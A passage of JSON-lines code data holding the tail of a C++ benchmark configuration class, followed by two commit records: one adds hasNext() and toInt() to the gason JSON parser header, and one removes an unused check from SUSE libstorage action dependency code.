getElfCategory());\n}\n\nsize_t Configuration::getNumberOfIterations()\n{\n    return _numberOfIterations;\n}\n\nsize_t Configuration::getNumberOfWarmUps()\n{\n    return _numberOfWarmUps;\n}\n\nstring Configuration::getElfCategory() const\n{\n    return _category;\n}\n\nbool Configuration::exportConfiguration() const\n{\n    return _exportConfigurationFile != \"\";\n}\n\nbool Configuration::importConfiguration() const\n{\n    return _importConfigurationFile != \"\";\n}\n\nbool Configuration::skipBenchmark() const\n{\n    return _skipBenchmark;\n}\n\nstd::string Configuration::getExportConfigurationFilename() const\n{\n    return _exportConfigurationFile;\n}\n\nstd::string Configuration::getImportConfigurationFilename() const\n{\n    return _importConfigurationFile;\n}\n\nstd::ostream& operator<<(std::ostream& s, const Configuration& c)\n{\n    s   << \"Configuation: \"\n        << \"\\n\\tMode: \"<< c._mode\n        << \"\\n\\tWarmUps: \" << c._numberOfWarmUps\n        << \"\\n\\tIterations: \" << c._numberOfIterations;\n    if (c._useFiles)\n    {\n        s   << \"\\n\\tInput: \" << c._inputFile\n            << \"\\n\\tOutput: \" << c._outputFile;\n    }\n    else\n    {\n        s   << \"\\n\\tMatrices: (\"<<c._leftMatrixRows<<\" x \"<<c._commonMatrixRowsColumns<<\") x (\"<<c._commonMatrixRowsColumns<<\" x \"<<c._rightMatrixColumns<<\")\";\n    }\n    return s;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file gason.hpp\n * a simple and fast JSon parser in plain C\/C++ with no dependency.\n *\n *\n * @author Ivan Vashchaev\n * @version 1.0.0\n * @date 2014-05-08\n * based on this commit: 9e292d4\n *\n * @author amir zamani\n * @version 2.0.0\n * @date 2014-05-16\n *\n *\/\n\n#ifndef __GASON_HPP__\n#define __GASON_HPP__\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <stdint.h>\n#include <stddef.h>\n#include <assert.h>\n#include <string.h>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nnamespace gason {\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#ifndef nullptr\n#   define nullptr      NULL\n#endif\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/** tag (type) of each JSon element. *\/\nenum JsonTag {\n    JSON_TAG_NUMBER = 0,        \/\/\/< double (floating point) value\n    JSON_TAG_STRING,            \/\/\/< string value\n    JSON_TAG_BOOL,              \/\/\/< boolean (true\/false) value\n    JSON_TAG_ARRAY,             \/\/\/< an array value\n    JSON_TAG_OBJECT,            \/\/\/< an object value\n    JSON_TAG_NULL = 0xF         \/\/\/< null or invalid value\n};\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstruct JsonNode;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/** JSon value of @sa JsonTag type. *\/\nstruct JsonValue {\n    union {\n        uint64_t    ival;\n        double      fval;\n    };\n\n    JsonValue() : ival(JSON_VALUE_NULL) {\n    }\n    JsonValue(double x) : fval(x) {\n    }\n    JsonValue(JsonTag tag, void *p) {\n        uint64_t x = (uint64_t)p;\n        assert(tag <= JSON_VALUE_TAG_MASK);\n        assert(x <= JSON_VALUE_PAYLOAD_MASK);\n        ival = JSON_VALUE_NAN_MASK | ((uint64_t)tag << JSON_VALUE_TAG_SHIFT) | x;\n    }\n    uint64_t    getPayload() const {\n        assert(!isDouble());\n        return ival & JSON_VALUE_PAYLOAD_MASK;\n    }\n\n    bool        isDouble() const {\n        return (int64_t)ival <= (int64_t)JSON_VALUE_NAN_MASK;\n    }\n    JsonTag     getTag() const {\n        return isDouble() ? JSON_TAG_NUMBER : JsonTag((ival >> JSON_VALUE_TAG_SHIFT) & JSON_VALUE_TAG_MASK);\n    }\n\n    double      toNumber() const {\n        assert(getTag() == JSON_TAG_NUMBER);\n        return fval;\n    }\n    bool        toBool() const {\n        assert(getTag() == JSON_TAG_BOOL);\n        return (bool)getPayload();\n    }\n    char*       toString() const {\n        assert(getTag() == JSON_TAG_STRING);\n        return (char *)getPayload();\n    }\n    JsonNode*   toNode() const {\n        assert(getTag() == JSON_TAG_ARRAY || getTag() == JSON_TAG_OBJECT);\n        return (JsonNode *)getPayload();\n    }\n\n    \/** returns true if this object is not NULL. *\/\n    operator bool()const {\n        return getTag() != JSON_TAG_NULL;\n    }\n    \/** returns true if this object has typeof tag value. *\/\n    bool        operator==(JsonTag tag) const {\n        return getTag() == tag;\n    }\n    \/** returns true if this object is not typeof tag value. *\/\n    bool        operator!=(JsonTag tag) const {\n        return getTag() != tag;\n    }\n\n    \/** overloads @sa at. *\/\n    JsonValue   operator[](size_t index) const {\n        return at(index);\n    }\n    \/** overloads @sa child. *\/\n    JsonValue   operator()(const char* keyName) const {\n        return child(keyName);\n    }\n    \/** returns a child value associated with the key = keyName. *\/\n    JsonValue   child(const char* keyName) const;\n    \/** returns the item at index position i in the array. *\/\n    JsonValue   at(size_t i) const;\n\nprotected:\n    static const uint64_t JSON_VALUE_PAYLOAD_MASK = 0x00007FFFFFFFFFFFULL;\n    static const uint64_t JSON_VALUE_NAN_MASK     = 0x7FF8000000000000ULL;\n    static const uint64_t JSON_VALUE_NULL         = 0x7FFF800000000000ULL;\n    static const uint64_t JSON_VALUE_TAG_MASK     = 0xF;\n    static const uint64_t JSON_VALUE_TAG_SHIFT    = 47;\n};\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstruct JsonNode {\n    JsonValue   value;\n    JsonNode*   next;\n    char*       key;\n};\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstruct JsonIterator {\n    JsonNode*   p;\n\n    explicit JsonIterator(JsonNode* n = nullptr) : p(n) {\n    }\n\n    void        operator++() {\n        p = p->next;\n    }\n    void        operator++(int) {\n        p = p->next;\n    }\n    bool       isValid()const {\n        return p != nullptr;\n    }\n\n    bool        operator==(const char* key) const {\n        return strncmp(p->key, key, strlen(key)) == 0;\n    }\n    bool        operator!=(const JsonIterator &x) const {\n        return p != x.p;\n    }\n\n    JsonNode*   operator*() const {\n        return p;\n    }\n    JsonNode*   operator->() const {\n        return p;\n    }\n};\n\ninline JsonIterator begin(JsonValue o) {\n    return JsonIterator(o.toNode());\n}\ninline JsonIterator end(JsonValue) {\n    return JsonIterator(nullptr);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nenum JsonParseStatus {\n    JSON_PARSE_OK,\n    JSON_PARSE_BAD_NUMBER,\n    JSON_PARSE_BAD_STRING,\n    JSON_PARSE_BAD_IDENTIFIER,\n    JSON_PARSE_STACK_OVERFLOW,\n    JSON_PARSE_STACK_UNDERFLOW,\n    JSON_PARSE_MISMATCH_BRACKET,\n    JSON_PARSE_UNEXPECTED_CHARACTER,\n    JSON_PARSE_UNQUOTED_KEY,\n    JSON_PARSE_BREAKING_BAD\n};\n\nclass JsonAllocator {\n    struct  Zone;\n    Zone*   head;\n\npublic:\n    JsonAllocator() : head(nullptr) {\n    }\n    ~JsonAllocator();\n    void*   allocate(size_t size);\n    void    deallocate();\n};\n\nJsonParseStatus\njsonParse(char *str, char **endptr, JsonValue *value, JsonAllocator &allocator);\n\ninline JsonParseStatus\njsonParse(char* str, JsonValue& value, JsonAllocator& allocator) {\n    char *endptr = 0;\n    return jsonParse(str, &endptr, &value, allocator);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n} \/\/ namespace gason\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#endif \/\/ __GASON_HPP__\n<commit_msg>add hasNext() to JsonIterator. make getPayload() protected.<commit_after>\/**\n * @file gason.hpp\n * a simple and fast JSon parser in plain C\/C++ with no dependency.\n *\n *\n * @author Ivan Vashchaev\n * @version 1.0.0\n * @date 2014-05-08\n * based on this commit: 9e292d4\n *\n * @author amir zamani\n * @version 2.0.0\n * @date 2014-05-16\n *\n *\/\n\n#ifndef __GASON_HPP__\n#define __GASON_HPP__\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <stdint.h>\n#include <stddef.h>\n#include <assert.h>\n#include <string.h>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nnamespace gason {\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#ifndef nullptr\n#   define nullptr      NULL\n#endif\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/** tag (type) of each JSon element. *\/\nenum JsonTag {\n    JSON_TAG_NUMBER = 0,        \/\/\/< double (floating point) value\n    JSON_TAG_STRING,            \/\/\/< string value\n    JSON_TAG_BOOL,              \/\/\/< boolean (true\/false) value\n    JSON_TAG_ARRAY,             \/\/\/< an array value\n    JSON_TAG_OBJECT,            \/\/\/< an object value\n    JSON_TAG_NULL = 0xF         \/\/\/< null or invalid value\n};\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstruct JsonNode;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/** JSon value of @sa JsonTag type. *\/\nstruct JsonValue {\n    union {\n        uint64_t    ival;\n        double      fval;\n    };\n\n    JsonValue() : ival(JSON_VALUE_NULL) {\n    }\n    JsonValue(double x) : fval(x) {\n    }\n    JsonValue(JsonTag tag, void *p) {\n        uint64_t x = (uint64_t)p;\n        assert(tag <= JSON_VALUE_TAG_MASK);\n        assert(x <= JSON_VALUE_PAYLOAD_MASK);\n        ival = JSON_VALUE_NAN_MASK | ((uint64_t)tag << JSON_VALUE_TAG_SHIFT) | x;\n    }\n\n    bool        isDouble() const {\n        return (int64_t)ival <= (int64_t)JSON_VALUE_NAN_MASK;\n    }\n    JsonTag     getTag() const {\n        return isDouble() ? JSON_TAG_NUMBER : JsonTag((ival >> JSON_VALUE_TAG_SHIFT) & JSON_VALUE_TAG_MASK);\n    }\n\n    \/\/ all toXXX() methods do assert().\n    int         toInt() const {\n        return (int) toNumber();\n    }\n    double      toNumber() const {\n        assert(getTag() == JSON_TAG_NUMBER);\n        return fval;\n    }\n    bool        toBool() const {\n        assert(getTag() == JSON_TAG_BOOL);\n        return (bool)getPayload();\n    }\n    char*       toString() const {\n        assert(getTag() == JSON_TAG_STRING);\n        return (char *)getPayload();\n    }\n    JsonNode*   toNode() const {\n        assert(getTag() == JSON_TAG_ARRAY || getTag() == JSON_TAG_OBJECT);\n        return (JsonNode *)getPayload();\n    }\n\n    \/** returns true if this object is not NULL. *\/\n    operator bool()const {\n        return getTag() != JSON_TAG_NULL;\n    }\n    \/** returns true if this object has typeof tag value. *\/\n    bool        operator==(JsonTag tag) const {\n        return getTag() == tag;\n    }\n    \/** returns true if this object is not typeof tag value. *\/\n    bool        operator!=(JsonTag tag) const {\n        return getTag() != tag;\n    }\n\n    \/** overloads @sa at. *\/\n    JsonValue   operator[](size_t index) const {\n        return at(index);\n    }\n    \/** overloads @sa child. *\/\n    JsonValue   operator()(const char* keyName) const {\n        return child(keyName);\n    }\n    \/** returns a child value associated with the key = keyName. *\/\n    JsonValue   child(const char* keyName) const;\n    \/** returns the item at index position i in the array. *\/\n    JsonValue   at(size_t i) const;\n\nprotected:\n    uint64_t    getPayload() const {\n        assert(!isDouble());\n        return ival & JSON_VALUE_PAYLOAD_MASK;\n    }\n\n    static const uint64_t JSON_VALUE_PAYLOAD_MASK = 0x00007FFFFFFFFFFFULL;\n    static const uint64_t JSON_VALUE_NAN_MASK     = 0x7FF8000000000000ULL;\n    static const uint64_t JSON_VALUE_NULL         = 0x7FFF800000000000ULL;\n    static const uint64_t JSON_VALUE_TAG_MASK     = 0xF;\n    static const uint64_t JSON_VALUE_TAG_SHIFT    = 47;\n};\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstruct JsonNode {\n    JsonValue   value;\n    JsonNode*   next;\n    char*       key;\n};\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstruct JsonIterator {\n    JsonNode*   p;\n\n    explicit JsonIterator(JsonNode* n = nullptr) : p(n) {\n    }\n\n    void       operator++() {\n        p = p->next;\n    }\n    void       operator++(int) {\n        p = p->next;\n    }\n\n    bool       isValid()const {\n        return p != nullptr;\n    }\n    bool       hasNext()const {\n        return p->next != nullptr;\n    }\n\n    bool       operator==(const char* key) const {\n        return strncmp(p->key, key, strlen(key)) == 0;\n    }\n    bool       operator!=(const JsonIterator &x) const {\n        return p != x.p;\n    }\n\n    JsonNode*  operator*() const {\n        return p;\n    }\n    JsonNode*  operator->() const {\n        return p;\n    }\n};\n\ninline JsonIterator begin(JsonValue o) {\n    return JsonIterator(o.toNode());\n}\ninline JsonIterator end(JsonValue) {\n    return JsonIterator(nullptr);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nenum JsonParseStatus {\n    JSON_PARSE_OK,\n    JSON_PARSE_BAD_NUMBER,\n    JSON_PARSE_BAD_STRING,\n    JSON_PARSE_BAD_IDENTIFIER,\n    JSON_PARSE_STACK_OVERFLOW,\n    JSON_PARSE_STACK_UNDERFLOW,\n    JSON_PARSE_MISMATCH_BRACKET,\n    JSON_PARSE_UNEXPECTED_CHARACTER,\n    JSON_PARSE_UNQUOTED_KEY,\n    JSON_PARSE_BREAKING_BAD\n};\n\nclass JsonAllocator {\n    struct  Zone;\n    Zone*   head;\n\npublic:\n    JsonAllocator() : head(nullptr) {\n    }\n    ~JsonAllocator();\n    void*   allocate(size_t size);\n    void    deallocate();\n};\n\nJsonParseStatus\njsonParse(char *str, char **endptr, JsonValue *value, JsonAllocator &allocator);\n\ninline JsonParseStatus\njsonParse(char* str, JsonValue& value, JsonAllocator& allocator) {\n    char *endptr = 0;\n    return jsonParse(str, &endptr, &value, allocator);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n} \/\/ namespace gason\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#endif \/\/ __GASON_HPP__\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) [2014-2015] Novell, Inc.\n * Copyright (c) 2016 SUSE LLC\n *\n * All Rights Reserved.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of version 2 of the GNU General Public License as published\n * by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, contact Novell, Inc.\n *\n * To contact Novell about this file by physical or electronic mail, you may\n * find current contact information at www.novell.com.\n *\/\n\n\n#include \"storage\/Action.h\"\n#include \"storage\/DevicegraphImpl.h\"\n#include \"storage\/Devices\/DeviceImpl.h\"\n#include \"storage\/Devices\/Partition.h\"\n\n\nnamespace storage\n{\n\n    namespace Action\n    {\n\n\tText\n\tCreate::text(const Actiongraph::Impl& actiongraph, Tense tense) const\n\t{\n\t    return get_device_rhs(actiongraph)->get_impl().do_create_text(tense);\n\t}\n\n\n\tvoid\n\tCreate::commit(const Actiongraph::Impl& actiongraph) const\n\t{\n\t    get_device_rhs(actiongraph)->get_impl().do_create();\n\t}\n\n\n\tText\n\tDelete::text(const Actiongraph::Impl& actiongraph, Tense tense) const\n\t{\n\t    return get_device_lhs(actiongraph)->get_impl().do_delete_text(tense);\n\t}\n\n\n\tvoid\n\tDelete::commit(const Actiongraph::Impl& actiongraph) const\n\t{\n\t    get_device_lhs(actiongraph)->get_impl().do_delete();\n\t}\n\n\n\tvoid\n\tCreate::add_dependencies(Actiongraph::Impl::vertex_descriptor v, Actiongraph::Impl& actiongraph) const\n\t{\n\t    \/\/ Create actions are sometimes used just as sync points, they\n\t    \/\/ should not generate extra dependencies in those cases\n\t    if (only_sync) return;\n\n\t    Base::add_dependencies(v, actiongraph);\n\n\t    sid_t sid = actiongraph[v]->sid;\n\n\t    Devicegraph::Impl::vertex_descriptor v_in_rhs = actiongraph.get_devicegraph(RHS)->get_impl().find_vertex(sid);\n\n\t    \/\/ iterate parents\n\t    Devicegraph::Impl::inv_adjacency_iterator vi, vi_end;\n\t    for (boost::tie(vi, vi_end) = inv_adjacent_vertices(v_in_rhs, actiongraph.get_devicegraph(RHS)->get_impl().graph); vi != vi_end; ++vi)\n\t    {\n\t\tsid_t parent_sid = actiongraph.get_devicegraph(RHS)->get_impl()[*vi]->get_sid();\n\n\t\tif (!actiongraph.get_devicegraph(LHS)->device_exists(parent_sid))\n\t\t{\n\t\t    \/\/ parents must be created beforehand if not existed\n\n\t\t    Actiongraph::Impl::vertex_descriptor tmp = actiongraph.actions_with_sid(parent_sid, ONLY_LAST).front();\n\t\t    actiongraph.add_edge(tmp, v);\n\t\t}\n\t\telse\n\t\t{\n\t\t    \/\/ children of parents must be deleted beforehand\n\n\t\t    Devicegraph::Impl::vertex_descriptor q = actiongraph.get_devicegraph(LHS)->get_impl().find_vertex(parent_sid);\n\n\t\t    Devicegraph::Impl::adjacency_iterator vi2, vi2_end;\n\t\t    for (boost::tie(vi2, vi2_end) = adjacent_vertices(q, actiongraph.get_devicegraph(LHS)->get_impl().graph); vi2 != vi2_end; ++vi2)\n\t\t    {\n\t\t\tsid_t child_sid = actiongraph.get_devicegraph(LHS)->get_impl()[*vi2]->get_sid();\n\n\t\t\tvector<Actiongraph::Impl::vertex_descriptor> tmp = actiongraph.actions_with_sid(child_sid, ONLY_LAST);\n\t\t\tif (!tmp.empty())\n\t\t\t{\n\t\t\t    \/\/ Make sure it's a delete action\n\t\t\t    const Action::Base* tmp_action = actiongraph[tmp.front()];\n\t\t\t    if (dynamic_cast<const Action::Delete*>(tmp_action))\n\t\t\t\tactiongraph.add_edge(tmp.front(), v);\n\t\t\t}\n\t\t    }\n\t\t}\n\t    }\n\n\n\t}\n\n\n\tvoid\n\tDelete::add_dependencies(Actiongraph::Impl::vertex_descriptor v, Actiongraph::Impl& actiongraph) const\n\t{\n\t    Base::add_dependencies(v, actiongraph);\n\n\t    \/\/ all children must be deleted beforehand\n\n\t    sid_t sid = actiongraph[v]->sid;\n\n\t    Devicegraph::Impl::vertex_descriptor v_in_lhs = actiongraph.get_devicegraph(LHS)->get_impl().find_vertex(sid);\n\n\t    \/\/ iterate children\n\t    Devicegraph::Impl::inv_adjacency_iterator vi, vi_end;\n\t    for (boost::tie(vi, vi_end) = inv_adjacent_vertices(v_in_lhs, actiongraph.get_devicegraph(LHS)->get_impl().graph); vi != vi_end; ++vi)\n\t    {\n\t\tsid_t child_sid = actiongraph.get_devicegraph(RHS)->get_impl()[*vi]->get_sid();\n\n\t\tfor (Actiongraph::Impl::vertex_descriptor tmp : actiongraph.actions_with_sid(child_sid, ONLY_FIRST))\n\t\t    actiongraph.add_edge(v, tmp);\n\t    }\n\t}\n\n    }\n\n}\n<commit_msg>- removed unused check<commit_after>\/*\n * Copyright (c) [2014-2015] Novell, Inc.\n * Copyright (c) 2016 SUSE LLC\n *\n * All Rights Reserved.\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of version 2 of the GNU General Public License as published\n * by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, contact Novell, Inc.\n *\n * To contact Novell about this file by physical or electronic mail, you may\n * find current contact information at www.novell.com.\n *\/\n\n\n#include \"storage\/Action.h\"\n#include \"storage\/DevicegraphImpl.h\"\n#include \"storage\/Devices\/DeviceImpl.h\"\n#include \"storage\/Devices\/Partition.h\"\n\n\nnamespace storage\n{\n\n    namespace Action\n    {\n\n\tText\n\tCreate::text(const Actiongraph::Impl& actiongraph, Tense tense) const\n\t{\n\t    return get_device_rhs(actiongraph)->get_impl().do_create_text(tense);\n\t}\n\n\n\tvoid\n\tCreate::commit(const Actiongraph::Impl& actiongraph) const\n\t{\n\t    get_device_rhs(actiongraph)->get_impl().do_create();\n\t}\n\n\n\tText\n\tDelete::text(const Actiongraph::Impl& actiongraph, Tense tense) const\n\t{\n\t    return get_device_lhs(actiongraph)->get_impl().do_delete_text(tense);\n\t}\n\n\n\tvoid\n\tDelete::commit(const Actiongraph::Impl& actiongraph) const\n\t{\n\t    get_device_lhs(actiongraph)->get_impl().do_delete();\n\t}\n\n\n\tvoid\n\tCreate::add_dependencies(Actiongraph::Impl::vertex_descriptor v, Actiongraph::Impl& actiongraph) const\n\t{\n\t    Base::add_dependencies(v, actiongraph);\n\n\t    sid_t sid = actiongraph[v]->sid;\n\n\t    Devicegraph::Impl::vertex_descriptor v_in_rhs = actiongraph.get_devicegraph(RHS)->get_impl().find_vertex(sid);\n\n\t    \/\/ iterate parents\n\t    Devicegraph::Impl::inv_adjacency_iterator vi, vi_end;\n\t    for (boost::tie(vi, vi_end) = inv_adjacent_vertices(v_in_rhs, actiongraph.get_devicegraph(RHS)->get_impl().graph); vi != vi_end; ++vi)\n\t    {\n\t\tsid_t parent_sid = actiongraph.get_devicegraph(RHS)->get_impl()[*vi]->get_sid();\n\n\t\tif (!actiongraph.get_devicegraph(LHS)->device_exists(parent_sid))\n\t\t{\n\t\t    \/\/ parents must be created beforehand if not existed\n\n\t\t    Actiongraph::Impl::vertex_descriptor tmp = actiongraph.actions_with_sid(parent_sid, ONLY_LAST).front();\n\t\t    actiongraph.add_edge(tmp, v);\n\t\t}\n\t\telse\n\t\t{\n\t\t    \/\/ children of parents must be deleted beforehand\n\n\t\t    Devicegraph::Impl::vertex_descriptor q = actiongraph.get_devicegraph(LHS)->get_impl().find_vertex(parent_sid);\n\n\t\t    Devicegraph::Impl::adjacency_iterator vi2, vi2_end;\n\t\t    for (boost::tie(vi2, vi2_end) = adjacent_vertices(q, actiongraph.get_devicegraph(LHS)->get_impl().graph); vi2 != vi2_end; ++vi2)\n\t\t    {\n\t\t\tsid_t child_sid = actiongraph.get_devicegraph(LHS)->get_impl()[*vi2]->get_sid();\n\n\t\t\tvector<Actiongraph::Impl::vertex_descriptor> tmp = actiongraph.actions_with_sid(child_sid, ONLY_LAST);\n\t\t\tif (!tmp.empty())\n\t\t\t{\n\t\t\t    \/\/ Make sure it's a delete action\n\t\t\t    const Action::Base* tmp_action = actiongraph[tmp.front()];\n\t\t\t    if (dynamic_cast<const Action::Delete*>(tmp_action))\n\t\t\t\tactiongraph.add_edge(tmp.front(), v);\n\t\t\t}\n\t\t    }\n\t\t}\n\t    }\n\n\n\t}\n\n\n\tvoid\n\tDelete::add_dependencies(Actiongraph::Impl::vertex_descriptor v, Actiongraph::Impl& actiongraph) const\n\t{\n\t    Base::add_dependencies(v, actiongraph);\n\n\t    \/\/ all children must be deleted beforehand\n\n\t    sid_t sid = actiongraph[v]->sid;\n\n\t    Devicegraph::Impl::vertex_descriptor v_in_lhs = actiongraph.get_devicegraph(LHS)->get_impl().find_vertex(sid);\n\n\t    \/\/ iterate children\n\t    Devicegraph::Impl::inv_adjacency_iterator vi, vi_end;\n\t    for (boost::tie(vi, vi_end) = inv_adjacent_vertices(v_in_lhs, actiongraph.get_devicegraph(LHS)->get_impl().graph); vi != vi_end; ++vi)\n\t    {\n\t\tsid_t child_sid = actiongraph.get_devicegraph(RHS)->get_impl()[*vi]->get_sid();\n\n\t\tfor (Actiongraph::Impl::vertex_descriptor tmp : actiongraph.actions_with_sid(child_sid, ONLY_FIRST))\n\t\t    actiongraph.add_edge(v, tmp);\n\t    }\n\t}\n\n    }\n\n}\n<|endoftext|>"}
